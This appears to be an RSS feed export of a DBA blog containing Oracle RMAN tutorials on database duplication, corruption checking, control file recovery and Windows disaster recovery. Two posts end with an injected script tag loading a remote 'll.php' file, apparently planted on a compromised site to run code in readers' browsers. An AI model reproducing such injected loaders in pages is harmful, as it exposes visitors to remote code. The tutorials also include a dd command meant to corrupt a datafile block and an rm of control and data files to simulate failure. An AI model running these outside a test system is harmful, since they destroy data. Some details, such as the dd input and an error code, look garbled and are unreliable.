<p>Copyright (c) 1995, 2004, Oracle.  All rights reserved.</p>
<p>connected to target database: TEST (DBID=1843143191)<br />
connected to auxiliary database: DUP (not mounted)</p>
<p>RMAN> @run.rcv</p>
<p>RMAN> run{<br />
2> allocate auxiliary channel c1 type disk;<br />
3> duplicate target database to dup;<br />
4> }<br />
using target database controlfile instead of recovery catalog<br />
allocated channel: c1<br />
channel c1: sid=270 devtype=DISK</p>
<p>Starting Duplicate Db at 24-AUG-05</p>
<p>contents of Memory Script:<br />
{<br />
   set until scn  2150046;<br />
   set newname for datafile  1 to<br />
 &#8220;/u02/app/oracle/oradata/DUP/system2.dbf&#8221;;<br />
   set newname for datafile  2 to<br />
 &#8220;/u02/app/oracle/oradata/DUP/undotbs01.dbf&#8221;;<br />
   set newname for datafile  3 to<br />
 &#8220;/u02/app/oracle/oradata/DUP/sysaux01.dbf&#8221;;<br />
   set newname for datafile  4 to<br />
 &#8220;/u02/app/oracle/oradata/DUP/users01.dbf&#8221;;<br />
   restore<br />
   check readonly<br />
   clone database<br />
   ;<br />
}<br />
executing Memory Script</p>
<p>executing command: SET until clause</p>
<p>executing command: SET NEWNAME</p>
<p>executing command: SET NEWNAME</p>
<p>executing command: SET NEWNAME</p>
<p>executing command: SET NEWNAME</p>
<p>Starting restore at 24-AUG-05</p>
<p>channel c1: starting datafile backupset restore<br />
channel c1: specifying datafile(s) to restore from backup set<br />
restoring datafile 00001 to /u02/app/oracle/oradata/DUP/system2.dbf<br />
restoring datafile 00002 to /u02/app/oracle/oradata/DUP/undotbs01.dbf<br />
&#8230;&#8230;&#8230;&#8230;..<br />
datafile copy filename=/u02/app/oracle/oradata/DUP/sysaux01.dbf recid=2 stamp=567206656</p>
<p>cataloged datafile copy<br />
datafile copy filename=/u02/app/oracle/oradata/DUP/users01.dbf recid=3 stamp=567206656</p>
<p>datafile 2 switched to datafile copy<br />
input datafilecopy recid=1 stamp=567206656 filename=/u02/app/oracle/oradata/DUP/undotbs01.dbf<br />
datafile 3 switched to datafile copy<br />
input datafilecopy recid=2 stamp=567206656 filename=/u02/app/oracle/oradata/DUP/sysaux01.dbf<br />
datafile 4 switched to datafile copy<br />
input datafilecopy recid=3 stamp=567206656 filename=/u02/app/oracle/oradata/DUP/users01.dbf</p>
<p>contents of Memory Script:<br />
{<br />
   Alter clone database open resetlogs;<br />
}<br />
executing Memory Script</p>
<p>database opened<br />
Finished Duplicate Db at 24-AUG-05</p>
<p>RMAN> **end-of-file**</p>
<p>This ends a successful duplication of a database without control file. </p>
<p><Strong> Chapter 4. Using rman tocheck logical and physical block corruption</Strong></p>
<p>To generate block corruption you can use the dd unix utility<br />
caution, it will corrupt your block(s):-<br />
$dd if=/dev/null of=/u02/oradata/myrac/anyfile.dbf bs=8192 conv=notrunc seek=10 count=1<br />
seek=10 write at block 10, count=1 write to only that block<br />
now you can run dbv to verify that the blocks are actually corrupt<br />
and then recover the datafile by using oracle&#8217;s blockrecover command.</p>
<p>export ORACLE_HOME=test<br />
rman target /<br />
       run {<br />
       allocate channel d1 type disk;<br />
       backup check logical validate database;<br />
       release channel d1;<br />
       }<br />
To validatea datafile(s) :-<br />
       run {<br />
       allocate channel d1 type disk;<br />
       backup check logical validate datafile 1,2;<br />
       release channel d1;<br />
       }</p>
<p>During this command every block is written to memory and then subsequently rewriten to another portion of the memory, during<br />
this memory to memory write every block is checked for corruption.<br />
RMAN&#8217;s backup command with validate and check logical clause allow to quickly validate for both physical and logical corruption. </p>
<p><Strong> Chapter 5. Checking for datafile corruption</Strong></p>
<p>A corrupted block requires dropping an object. The message identifies the block in error by file number and block number. The cure has always been to run a query such as: SELECT owner, segment_name, segment_type FROM dba_extents WHERE file_id = <filenumber> AND <blocknumber> BETWEEN block_id AND block_id + blocks &#8211; 1; where <filenumber> and <blocknumber> were the numbers from the error message. This query indicates which object contains the corrupted block. Then, depending on the object type, recovery is either straightforward (for indexes and temporary segments), messy (for tables), or very messy (for active rollback segments and parts of the data dictionary). In Oracle 9i Enterprise Edition, however, a new Recovery Manager (RMAN) command, BLOCKRECOVER, can repair the block in place without dropping and recreating the object involved. After logging into RMAN and connecting to the target database, type: BLOCKRECOVER DATAFILE filenumber BLOCK blocknumber; A new view, V$DATABASE_BLOCK_CORRUPTION, gets updated during RMAN backups, and a block must be listed as corrupt for a BLOCKRECOVER to be performed. To recover all blocks that have been marked corrupt, the following RMAN sequence can be used: BACKUP VALIDATE DATABASE; BLOCKRECOVER CORRUPTION LIST; This approach is efficient if only a few blocks need recovery. For large-scale corruption, it&#8217;s more efficient to restore a prior image of the datafile and recover the entire datafile, as before. As with any new feature, test it carefully before using it on a production database. </p>
<p>run {<br />
allocate channel ch1 type <device>;<br />
blockrecover datafile <file>  block <block>;<br />
}</p>
<p>1. What are the steps to start the database from a text control file?<br />
1.1. What are the steps required to start a database from text based control file?<br />
1.2. Give a complete scenario of backup, delete and restore.<br />
1.3. How do I backup archive log?<br />
1.4. How do I do a incremental backup after a base backup?<br />
1.5. What is ORA-002004 error?<br />
1.6. What Information is Required for RMAN TAR?<br />
1.7. How To turn Debug Feature on in rman?<br />
1. What are the steps to start the database from a text control file?<br />
1.1. What are the steps required to start a database from text based control file?<br />
1.2. Give a complete scenario of backup, delete and restore.<br />
1.3. How do I backup archive log?<br />
1.4. How do I do a incremental backup after a base backup?<br />
1.5. What is ORA-002004 error?<br />
1.6. What Information is Required for RMAN TAR?<br />
1.7. How To turn Debug Feature on in rman? </p>
<p><Strong> 1.1. What are the steps required to start a database from text based control file? </Strong></p>
<p>ALTER DATABASE BACKUP CONTROLFILE TO &#8216;/oracle/backup/cf.bak&#8217; REUSE; &#8211;or to a file name on the OS. With this command you will get a text based version of your control file. REUSE clause specifies Oracle to overwrite the control files. If we ignore this option Oracle will not overwrite the control file if it is already present in the directory specified by the initSID.ora file. </p>
<p>Start the database in nomount mode. If you have 3 control file entries in pfile / spfile you will get 3 new control files. </p>
<p>Now run the control file script to create your control files. </p>
<p>recover database using backup controlfile until cancel </p>
<p><Strong> 1.2. Give a complete scenario of backup, delete and restore. </Strong></p>
<p> Given that you want to take a base level backup, simulate complete failure by removing controlfile, datafile, redo log, archive log, these are the steps to be followed. </p>
<p>First take a base level backup of the database. </p>
<p>backup incremental level=0 database;</p>
<p>Simulate media failure by removing the control file and data file. sqlplus / as sysdba; shutdown immediate; exit; rm control* system* </p>
<p>When we don&#8217;t have a control file the problem becomes quite complex the reason been that the rman backup information is stored in the control file. So when we don&#8217;t have the control file we won&#8217;t have the information about backups. First step should be towards restoring the control file. Fortunately we can do a listing in our flash recovery area and guess which backup piece has the information about our control file. In my box following is the listing on the flash recovery area:- </p>
<p>/u02/app/oracle/flash_recovery_area/TEST/backupset/2005_07_30/<br />
o1_mf_ncnn0_TAG20050730T130722_1gqn4jy2_.bkp<br />
o1_mf_nnnd0_TAG20050730T130722_1gqmzdjz_.bkp<br />
now I am assuming xxcnn0xxx has the control file information in it.</p>
<p>We have to use a nifty pl/sql program to recover our control file, once it is done successfully then we can go on our merry way using rman to recover the rest of the database. </p>
<p>DECLARE<br />
  v_devtype   VARCHAR2(100);<br />
  v_done      BOOLEAN;<br />
  v_maxPieces NUMBER;<br />
  TYPE t_pieceName IS TABLE OF varchar2(255) INDEX BY binary_integer;<br />
  v_pieceName t_pieceName;<br />
BEGIN<br />
  &#8212; Define the backup pieces&#8230; (names from the RMAN Log file)<br />
    v_pieceName(1) :=<br />
         &#8216;/u02/app/oracle/flash_recovery_area/TEST/backupset/2005_07_30/o1_mf_ncnn0_TAG20050730T130722_1gqn4jy2_.bkp&#8217;;<br />
  v_maxPieces    := 1;<br />
  &#8212; Allocate a channel&#8230; (Use type=>null for DISK, type=>&#8217;sbt_tape&#8217; for TAPE)<br />
  v_devtype := DBMS_BACKUP_RESTORE.deviceAllocate(type=>NULL, ident=>&#8217;d1&#8242;);<br />
  &#8212; Restore the first Control File&#8230;<br />
  DBMS_BACKUP_RESTORE.restoreSetDataFile;<br />
  &#8212; CFNAME mist be the exact path and filename of a controlfile taht was backed-up<br />
  DBMS_BACKUP_RESTORE.restoreControlFileTo(cfname=>&#8217;/u02/app/oracle/oradata/test/control01.ctl&#8217;);<br />
  dbms_output.put_line(&#8216;Start restoring &#8216;||v_maxPieces||&#8217; pieces.&#8217;);<br />
  FOR i IN 1..v_maxPieces LOOP<br />
    dbms_output.put_line(&#8216;Restoring from piece &#8216;||v_pieceName(i));<br />
    DBMS_BACKUP_RESTORE.restoreBackupPiece(handle=>v_pieceName(i), done=>v_done, params=>null);<br />
    exit when v_done;<br />
  END LOOP;<br />
  &#8212; Deallocate the channel&#8230;<br />
  DBMS_BACKUP_RESTORE.deviceDeAllocate(&#8216;d1&#8242;) ;<br />
EXCEPTION<br />
   WHEN OTHERS THEN<br />
      DBMS_BACKUP_RESTORE.deviceDeAllocate;<br />
      RAISE;<br />
END;<br />
/</p>
<p>Pl/SQL completed successfully. I had 3 control files, the above command will restore only one control file so I will do a operating system copy to restore the rest of the control files. cp control01.ctl control02.ctl cp control01.ctl control03.ctl </p>
<p>After control file is restored launch rman and list all the backup information., </p>
<p>rman target /<br />
rman>sql &#8216; alter database mount&#8217;;<br />
rman>list backup;<br />
BS Key  Type LV Size       Device Type Elapsed Time Completion Time<br />
&#8212;&#8212;- &#8212;- &#8212; &#8212;&#8212;&#8212;- &#8212;&#8212;&#8212;&#8211; &#8212;&#8212;&#8212;&#8212; &#8212;&#8212;&#8212;&#8212;&#8212;<br />
21      Incr 0  2G         DISK        00:02:39     30-JUL-05<br />
        BP Key: 21   Status: AVAILABLE  Compressed: NO  Tag: TAG20050730T130722<br />
        Piece Name: /u02/app/oracle/flash_recovery_area/TEST/backupset/2005_07_30/o1_mf_nnnd0_TAG20050730T130722_1gqmzdjz_.bkp  List of Datafiles in backup set 21<br />
  File LV Type Ckp SCN    Ckp Time  Name<br />
  &#8212;- &#8212; &#8212;- &#8212;&#8212;&#8212;- &#8212;&#8212;&#8212; &#8212;-<br />
  1    0  Incr 1723296    30-JUL-05 /u02/app/oracle/oradata/test/system2.dbf<br />
  2    0  Incr 1723296    30-JUL-05 /u02/app/oracle/oradata/test/undotbs01.dbf<br />
  3    0  Incr 1723296    30-JUL-05 /u02/app/oracle/oradata/test/sysaux01.dbf<br />
  4    0  Incr 1723296    30-JUL-05 /u02/app/oracle/oradata/test/users01.dbf</p>
<p>The above command indicates that the backup set key is 21 and tag is blah and time is blah. </p>
<p>Connect to rman target / restore database; recover database; exit; </p>
<p>sqlplus / as sysdba; startup; Now the database should have been recovered to your current SCN at which time we encountered a complete media failure. </p>
<p><Strong> 1.3. How do I backup archive log? </Strong></p>
<p> In order to backup archivelog we have to do the following:- </p>
<p>run {<br />
                backup<br />
                (archivelog all delete input);<br />
}</p>
<p>If you want to delete archive logs ignoring those that were inaccesible after backup you have to use (archivelog all skip inaccessible delete input); </p>
<p><Strong> 1.4. How do I do a incremental backup after a base backup? </Strong></p>
<p>RMAN>  backup incremental level=1 database plus archivelog delete all input;</p>
<p>This will take a incremental backup of the database and make a copy of archivelog and delete all input. </p>
<p><Strong> 1.5. What is ORA-002004 error? </Strong></p>
<p> A disk I/O failure was detected on reading the controlfile. </p>
<p>Basically check whether the control file is available, permissions<br />
are right on the control file,<br />
spfile/init.ora right to the right location, if all checks were<br />
done still you are getting the error, then from the multiplexed<br />
control file overlay on the corrupted one, let us say you have<br />
three control files control01.ctl, control02.ctl and control03.ctl<br />
and now you are getting errors on control03.ctl then just cp control01.ctl<br />
over to control03.ctl and you should be all set.<br />
In order to issue<br />
ALTER DATABASE BACKUP CONTROLFILE TO TRACE;<br />
database should be mounted and in our case it is not mounted then the only<br />
other option available is to restore control file from backup or cp the<br />
multiplexed control file over to the bad one.</p>
<p><Strong> 1.6. What Information is Required for RMAN TAR? </Strong></p>
<p> Hardware Configuration<br />
    * The name of the node that hosts the database<br />
    * The make and model of the production machine<br />
    * The version and patch of the operating system<br />
    * The disk capacity of the host<br />
    * The number of disks and disk controllers<br />
    * The disk capacity and free space<br />
    * The media management vendor (if you use a third-party media manager)<br />
    * The type and number of media management devices<br />
Software Configuration<br />
    * The name of the database instance (SID)<br />
    * The database identifier (DBID)<br />
    * The version and patch release of the Oracle database server<br />
    * The version and patch release of the networking software<br />
    * The method (RMAN or user-managed) and frequency of database backups<br />
    * The method of restore and recovery (RMAN or user-managed)<br />
    * The datafile mount points</p>
<p>You should keep this information both in electronic and hardcopy form. For example, if you save this information in a text file on the network or in an email message, then if the entire system goes down, you may not have this data available.</p>
<p><Strong> 1.7. How To turn Debug Feature on in rman? </Strong></p>
<p>run {<br />
     allocate channel c1 type disk;<br />
      debug on;<br />
}<br />
rman>list backup of database;</p>
<p>You will see a output similar to<br />
DBGMISC:        ENTERED krmkdftr [18:35:11.291]</p>
<p>DBGSQL:          EXEC SQL AT TARGET begin dbms_rcvman . translateDataFile (<br />
:fno ) ; end ; [18:35:11.291]<br />
DBGSQL:             sqlcode=0 [18:35:11.300]<br />
DBGSQL:                :b1 = 1<br />
DBGMISC:         ENTERED krmkgdf [18:35:11.301]<br />
DBGMISC:          ENTERED krmkgbh [18:35:11.315]<br />
DBGMISC:          EXITED krmkgbh with status Not required &#8211; no flags<br />
[18:35:11.315] elapsed time [00:00:00:00.000]<br />
DBGMISC:         EXITED krmkgdf [18:35:11.315] elapsed time [00:00:00:00.014]<br />
DBGMISC:        EXITED krmkdftr [18:35:11.315] elapsed time [00:00:00:00.024]<br />
DBGMISC:       EXITED krmknmtr with status DF [18:35:11.315] elapsed time<br />
[00:00:00:00.024]<br />
DBGMISC:      EXITED krmknmtr with status DFILE [18:35:11.315] elapsed time<br />
[00:00:00:00.024]<br />
DBGMISC:     EXITED krmknmtr with status backup [18:35:11.315] elapsed time<br />
[00:00:00:00.024]<br />
DBGMISC:     krmknmtr:  the parse tree after name translation is:<br />
[18:35:11.315]<br />
DBGMISC:    EXITED krmknmtr with status list [18:35:11.316] elapsed time<br />
[00:00:00:00.078]<br />
DBGMISC:    krmkdps: this_reset_scn=1573357 [18:35:11.316]<br />
DBGMISC:    krmkdps: this_reset_time=19-AUG-06 [18:35:11.316]<br />
DBGMISC:    krmkdps: untilSCN= [18:35:11.317]</p>
<p>You can always turn debug off by issuing </p>
<p>rman>debug off;</p>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/rman-notes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>RMAN-6038 and RMAN-20003 after Alter Database Open Resetlogs</title>
		<link>http://www.bestremotedba.com/rman-6038-and-rman-20003-after-alter-database-open-resetlogs/</link>
		<comments>http://www.bestremotedba.com/rman-6038-and-rman-20003-after-alter-database-open-resetlogs/#comments</comments>
		<pubDate>Wed, 18 Nov 2009 04:25:25 +0000</pubDate>
		<dc:creator>aarthimudhalvan</dc:creator>
				<category><![CDATA[RMAN]]></category>
		<category><![CDATA[RMAN-6038 and RMAN-20003 after Alter Database Open Resetlogs]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=360</guid>
		<description><![CDATA[You must use the reset database command in RMAN to create a new database incarnation record in the recovery catalog. % rman connect target user/pwd catalog user/pwd RMAN> reset database; Immediately back up the database. This will give the database a new incarnation. Explanation: If you issue the ALTER DATABASE OPEN RESETLOGS but do not [...]]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>You must use the reset database command in RMAN to create a new database incarnation record in the recovery catalog. </p>
<p>   % rman connect target user/pwd catalog user/pwd<br />
   RMAN> reset database; </p>
<p>Immediately back up the database.  This will give the database a new incarnation.   </p>
<p>Explanation:<br />
If you issue the ALTER DATABASE OPEN RESETLOGS but do not reset the database, then RMAN will not access the recovery catalog because it cannot distinguish between a RESETLOGS command and an accidental restore of an old control file. By resetting the database, you inform RMAN that the database has been opened with the RESETLOGS option<br />
<script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/rman-6038-and-rman-20003-after-alter-database-open-resetlogs/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Oracle Backup and Recovery on Windows, Disaster Recovery using RMAN</title>
		<link>http://www.bestremotedba.com/oracle-backup-and-recovery-on-windows-disaster-recovery-using-rman/</link>
		<comments>http://www.bestremotedba.com/oracle-backup-and-recovery-on-windows-disaster-recovery-using-rman/#comments</comments>
		<pubDate>Fri, 09 Oct 2009 01:32:33 +0000</pubDate>
		<dc:creator>mudhalvan</dc:creator>
				<category><![CDATA[Database Administration]]></category>
		<category><![CDATA[RMAN]]></category>
		<category><![CDATA[Disaster Recovery using RMAN]]></category>
		<category><![CDATA[Oracle Backup and Recovery on Windows]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=217</guid>
		<description><![CDATA[Oracle Backup and Recovery on Windows, Disaster Recovery using RMAN]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>1. Introduction:<br />
This article discusses disaster recovery &#8211; i.e. a situation in which your database server has been destroyed and has taken all your database files (control files, logs and data files) with it. Obviously, recovery from a disaster of this nature is dependent on what you have in terms of backups and hardware resources. We assume you have the following available after the disaster:<br />
A server with the same disk layout as the original.<br />
The last full hot backup on tape.<br />
With the above items at hand, it is possible to recover all data up to the last full backup. One can do better if subsequent archive logs (after the last backup) are available. In our case these aren&#8217;t available, since our only archive destination was on the destroyed server (see Part I ). Oracle provides methods to achieve better data protection. We will discuss some of these towards the end of the article.</p>
<p>Now on with the task at hand. The high-level steps involved in disaster recovery are:<br />
Build replacement server.<br />
Restore backup from tape.<br />
Install database software.<br />
Create Oracle service.<br />
Restore and recover database.<br />
It sounds quite straightforward and it is reasonably so. However, there are some details that are often missed in books and documentation. The devil, as always, is in these details. Here we hope to provide you with enough detail to plan and practice disaster recovery in your test environment.</p>
<p>2. Build the server </p>
<p>You need a server to host the database, so the first step is to acquire or build the new machine. This is not strictly a DBA task, so we won&#8217;t delve into details here. The main point to keep in mind is that the replacement server should, as far as possible, be identical to the old one. In particular, pay attention to the following areas:<br />
Disk layout and capacity: Ideally the server should have the same number of disks as the original. This avoids messy renaming of files during recovery. Obviously, the new disks should also have enough space to hold all software and data that was on the original server.<br />
Operating system, service pack and patches: The operating system environment should be the same as the original, right up to service pack and patch level.<br />
Memory: The new server must have enough memory to cater to Oracle and operating system / other software requirements. Oracle memory structures (Shared pool, db buffer caches etc) will be sized identically to the original database instance. Use of the backup server parameter file will ensure this.<br />
Although you probably won&#8217;t build and configure the machine yourself. It is important to work with your systems people so that the above items are built to the recovery server specs. </p>
<p>3. Restore backup from tape</p>
<p>The next step is to get your backup from tape on to disk. In our example from Part I, the directory to be restored is e:\backup. The details of this depend on the backup product used, so we can&#8217;t go into it any further. This task would normally be performed your local sysadmin. </p>
<p>4. Install Oracle Software</p>
<p>Now we get to the meat of the database recovery process. The next step is to install Oracle software on the machine. The following points should be kept in mind when installing the software:<br />
Install the same version of Oracle as was on the destroyed server. The version number should match right down to the patch level, so this may be a multi-step process involving installation followed by the application of one or more patchsets and patches.<br />
Do not create a new database at this stage.<br />
Create a listener using the Network Configuration Assistant. Ensure that it has the same name and listening ports as the original listener. Relevant listener configuration information can be found in the backed up listener.ora file.<br />
4. Create directory structure for database files</p>
<p>After software installation is completed, create all directories required for datafiles, (online and archived) logs, control files and backups. All directory paths should match those on the original server. This, though not mandatory, saves additional steps associated with renaming files during recovery. </p>
<p>Don&#8217;t worry if you do not know where the database files should be located. You can obtain the required information from the backup spfile and control file at a later stage. Continue reading &#8211; we&#8217;ll come back to this later.</p>
<p>5. Create Oracle service</p>
<p>As described in section 2 of Part II, an Oracle service must be exist before a database is created. The service is created using the oradim utility, which must be run from the command line. The following commands show how to create and modify a service (comments in italics, typed commands in bold):</p>
<p>&#8211;create a new service with manual startup</p>
<p>C:\>oradim -new -sid ORCL -startmode m</p>
<p>&#8211;modify service to startup automatically</p>
<p>C:\>oradim -edit -sid ORCL -startmode a</p>
<p>Unfortunately oradim does not give any feedback, but you can check that the service exists via the Services administrative panel. The service has been configured to start automatically when the computer is powered up. Note that oradim offers options to delete, startup and shutdown a service. See the documentation for details.</p>
<p>6. Restore and recover database</p>
<p>Now it is time to get down to the nuts and bolts of database recovery. There are several steps, so we&#8217;ll list them in order:<br />
Copy password and tnsnames file from backup: The backed up password file and tnsnames.ora files should be copied from the backup directory (e:\backup, in our example) to the proper locations. Default location for password and tnsnames files are ORACLE_HOME\database ORACLE_HOME\network\admin respectively.</p>
<p>Set ORACLE_SID environment variable: ORACLE_SID should be set to the proper SID name (ORCL in our case). This can be set either in the registry (registry key: HKLM\Software\Oracle\HOME<X>\ORACLE_SID) or from the system applet in the control panel.</p>
<p>Invoke RMAN and set the DBID: We invoke rman and connect to the target database as usual. No login credentials are required since we connect from an OS account belonging to ORA_DBA. Note that RMAN accepts a connection to the database although the database is yet to be recovered. RMAN doesn&#8217;t as yet &#8220;know&#8221; which database we intend to connect to. We therefore need to identify the (to be restored) database to RMAN. This is done through the database identifier (DBID). The DBID can be figured out from the name of the controlfile backup. Example: if you use the controlfile backup format suggested in Part I, your controlfile backup name will be something like &#8220;CTL_SP_BAK_C-1507972899-20050228-00&#8243;. In this case the DBID is 1507972899. Here&#8217;s a transcript illustrating the process of setting the DBID:</p>
<p>C:\>rman</p>
<p>Recovery Manager: Release 9.2.0.4.0 &#8211; Production</p>
<p>Copyright (c) 1995, 2002, Oracle Corporation. All rights reserved.</p>
<p>RMAN> connect target /</p>
<p>connected to target database (not started)</p>
<p>RMAN> set dbid 1507972899</p>
<p>executing command: SET DBID</p>
<p>RMAN></p>
<p>Restore spfile from backup: To restore the spfile, you first need to startup the database in the nomount state. This starts up the database using a dummy parameter file. After that you can restore the spfile from the backup (which has been restored from tape in Section 3). Finally you restart the database in nomount state. The restart is required in in order to start the instance using the restored parameter file. Here is an example RMAN transcript for the foregoing procedure. Note the difference in SGA size and components between the two startups:</p>
<p>RMAN> startup nomount</p>
<p>startup failed: ORA-01078: failure in processing system parameters<br />
LRM-00109: could not open parameter file &#8216;C:\ORACLE\ORA92\DATABASE\INITORCL.ORA&#8217;</p>
<p>trying to start the Oracle instance without parameter files &#8230;<br />
Oracle instance started</p>
<p>Total System Global Area 97590928 bytes</p>
<p>Fixed Size 454288 bytes<br />
Variable Size 46137344 bytes<br />
Database Buffers 50331648 bytes<br />
Redo Buffers 667648 bytes</p>
<p>RMAN> restore spfile from &#8216;e:\backup\CTL_SP_BAK_C-1507972899-20050228-00&#8242;;</p>
<p>Starting restore at 01/MAR/05</p>
<p>using target database controlfile instead of recovery catalog<br />
allocated channel: ORA_DISK_1<br />
channel ORA_DISK_1: sid=9 devtype=DISK<br />
channel ORA_DISK_1: autobackup found: e:\backup\CTL_SP_BAK_C-1507972899-20050228-00<br />
channel ORA_DISK_1: SPFILE restore from autobackup complete<br />
Finished restore at 01/MAR/05</p>
<p>RMAN> startup force nomount</p>
<p>Oracle instance started</p>
<p>Total System Global Area 1520937712 bytes</p>
<p>Fixed Size 457456 bytes<br />
Variable Size 763363328 bytes<br />
Database Buffers 754974720 bytes<br />
Redo Buffers 2142208 bytes</p>
<p>RMAN></p>
<p>The instance is now started up with the correct initialisation parameters.</p>
<p>We are now in a position to determine the locations of control file and archive destination, as this information sits in the spfile. This is done via SQL Plus as follows:</p>
<p>C:\>sqlplus /nolog</p>
<p>&#8230;.output not shown</p>
<p>SQL>connect / as sysdba<br />
Connected.<br />
SQL> show parameter control_file</p>
<p>&#8230;.output not shown</p>
<p>SQL> show parameter log_archive_dest<br />
&#8230;.output not shown</p>
<p>The directories listed in the CONTROL_FILES and LOG_ARCHIVE_DEST_N parameters should be created at this stage if they haven&#8217;t been created earlier.</p>
<p>Restore control file from backup: The instance now &#8220;knows&#8221; where the control files should be restored, as this is listed in the CONTROL_FILES initialisation parameter. Therefore, the next step is to restore these files from backup. Once the control files are restored, the instance should be restarted in mount mode. A restart is required because the instance must read the initialisation parameter file in order to determine the control file locations. At the end of this step RMAN also has its proper configuration parameters, as these are stored in the control file.</p>
<p>Here is a RMAN session transcript showing the steps detailed here:</p>
<p>RMAN> restore controlfile from &#8216;e:\backup\CTL_SP_BAK_C-1507972899-20050228-00&#8242;;</p>
<p>Starting restore at 01/MAR/05</p>
<p>allocated channel: ORA_DISK_1<br />
hannel ORA_DISK_1: sid=13 devtype=DISK<br />
channel ORA_DISK_1: restoring controlfile<br />
channel ORA_DISK_1: restore complete<br />
replicating controlfile<br />
input filename=D:\ORACLE_DATA\CONTROLFILE\ORCL\CONTROL01.CTL<br />
output filename=E:\ORACLE_DATA\CONTROLFILE\ORCL\CONTROL02.CTL<br />
output filename=C:\ORACLE_DUP_DEST\CONTROLFILE\ORCL\CONTROL03.CTL<br />
Finished restore at 01/MAR/05</p>
<p>RMAN> shutdown</p>
<p>Oracle instance shut down</p>
<p>RMAN> exit</p>
<p>Recovery Manager complete.</p>
<p>C:\>rman target /</p>
<p>Recovery Manager: Release 9.2.0.4.0 &#8211; Production</p>
<p>Copyright (c) 1995, 2002, Oracle Corporation. All rights reserved.</p>
<p>connected to target database (not started)</p>
<p>RMAN> startup mount;</p>
<p>Oracle instance started<br />
database mounted</p>
<p>Total System Global Area 1520937712 bytes</p>
<p>Fixed Size 457456 bytes<br />
Variable Size 763363328 bytes<br />
Database Buffers 754974720 bytes<br />
Redo Buffers 2142208 bytes</p>
<p>RMAN> show all;</p>
<p>using target database controlfile instead of recovery catalog<br />
RMAN configuration parameters are:<br />
CONFIGURE RETENTION POLICY TO REDUNDANCY 2;<br />
CONFIGURE BACKUP OPTIMIZATION OFF; # default<br />
CONFIGURE DEFAULT DEVICE TYPE TO DISK; # default<br />
CONFIGURE CONTROLFILE AUTOBACKUP ON;<br />
CONFIGURE CONTROLFILE AUTOBACKUP FORMAT FOR DEVICE TYPE DISK TO &#8216;e:\backup\ctl_sp_bak_%F&#8217;;<br />
CONFIGURE DEVICE TYPE DISK PARALLELISM 2;<br />
CONFIGURE DATAFILE BACKUP COPIES FOR DEVICE TYPE DISK TO 1; # default<br />
CONFIGURE ARCHIVELOG BACKUP COPIES FOR DEVICE TYPE DISK TO 1; # default<br />
CONFIGURE CHANNEL 1 DEVICE TYPE DISK FORMAT &#8216;e:\backup\%U.bak&#8217; MAXPIECESIZE 4G;<br />
CONFIGURE CHANNEL 2 DEVICE TYPE DISK FORMAT &#8216;e:\backup\%U.bak&#8217; MAXPIECESIZE 4G;<br />
CONFIGURE MAXSETSIZE TO UNLIMITED; # default<br />
CONFIGURE SNAPSHOT CONTROLFILE NAME TO &#8216;C:\ORACLE\ORA92\DATABASE\SNCFORCL.ORA&#8217;; # default</p>
<p>RMAN></p>
<p>At this stage we can determine the locations of data files and redo logs if we don&#8217;t know where they should go. This is done from SQL Plus as follows:</p>
<p>C:\>sqlplus /nolog</p>
<p>&#8230;output not shown</p>
<p>SQL> connect / as sysdba<br />
Connected.<br />
SQL> select name from v$datafile;</p>
<p>&#8230;output not shown</p>
<p>SQL> select member from v$logfile;</p>
<p>&#8230;output not shown</p>
<p>SQL></p>
<p>The directories shown in the output should be created manually if this hasn&#8217;t been done earlier.</p>
<p>Restore all datafiles: This is easy. Simply issue a &#8220;restore database&#8221; command from RMAN, and it will do all the rest for you:</p>
<p>RMAN> restore database;</p>
<p>Starting restore at 01/MAR/05</p>
<p>using target database controlfile instead of recovery catalog<br />
allocated channel: ORA_DISK_1<br />
channel ORA_DISK_1: sid=11 devtype=DISK<br />
allocated channel: ORA_DISK_2<br />
channel ORA_DISK_2: sid=8 devtype=DISK<br />
channel ORA_DISK_1: starting datafile backupset restore<br />
channel ORA_DISK_1: specifying datafile(s) to restore from backup set<br />
restoring datafile 00001 to D:\ORACLE_DATA\DATAFILES\ORCL\SYSTEM01.DBF<br />
restoring datafile 00003 to D:\ORACLE_DATA\DATAFILES\ORCL\USERS01.DBF<br />
restoring datafile 00004 to D:\ORACLE_DATA\DATAFILES\ORCL\USERS02.DBF<br />
channel ORA_DISK_2: starting datafile backupset restore<br />
channel ORA_DISK_2: specifying datafile(s) to restore from backup set<br />
restoring datafile 00002 to D:\ORACLE_DATA\DATAFILES\ORCL\UNDOTBS01.DBF<br />
restoring datafile 00005 to D:\ORACLE_DATA\DATAFILES\ORCL\TOOLS01.DBF<br />
restoring datafile 00006 to D:\ORACLE_DATA\DATAFILES\ORCL\TOOLS02.DBF<br />
channel ORA_DISK_2: restored backup piece 1<br />
piece handle=E:\BACKUP\80G6E1TT_1_1.BAK tag=TAG20041130T222501 params=NULL<br />
channel ORA_DISK_1: restored backup piece 1<br />
piece handle=E:\BACKUP\81G6E1TU_1_1.BAK tag=TAG20041130T222501 params=NULL<br />
channel ORA_DISK_2: restored backup piece 2<br />
piece handle=E:\BACKUP\80G6E1TT_2_1.BAK tag=TAG20041130T222501 params=NULL<br />
channel ORA_DISK_1: restored backup piece 2<br />
piece handle=E:\BACKUP\81G6E1TU_2_1.BAK tag=TAG20041130T222501 params=NULL<br />
channel ORA_DISK_1: restored backup piece 3<br />
piece handle=E:\BACKUP\81G6E1TU_3_1.BAK tag=TAG20041130T222501 params=NULL<br />
channel ORA_DISK_1: restore complete<br />
channel ORA_DISK_2: restored backup piece 3<br />
piece handle=E:\BACKUP\80G6E1TT_3_1.BAK tag=TAG20041130T222501 params=NULL<br />
channel ORA_DISK_2: restore complete<br />
Finished restore at 01/MAR/05</p>
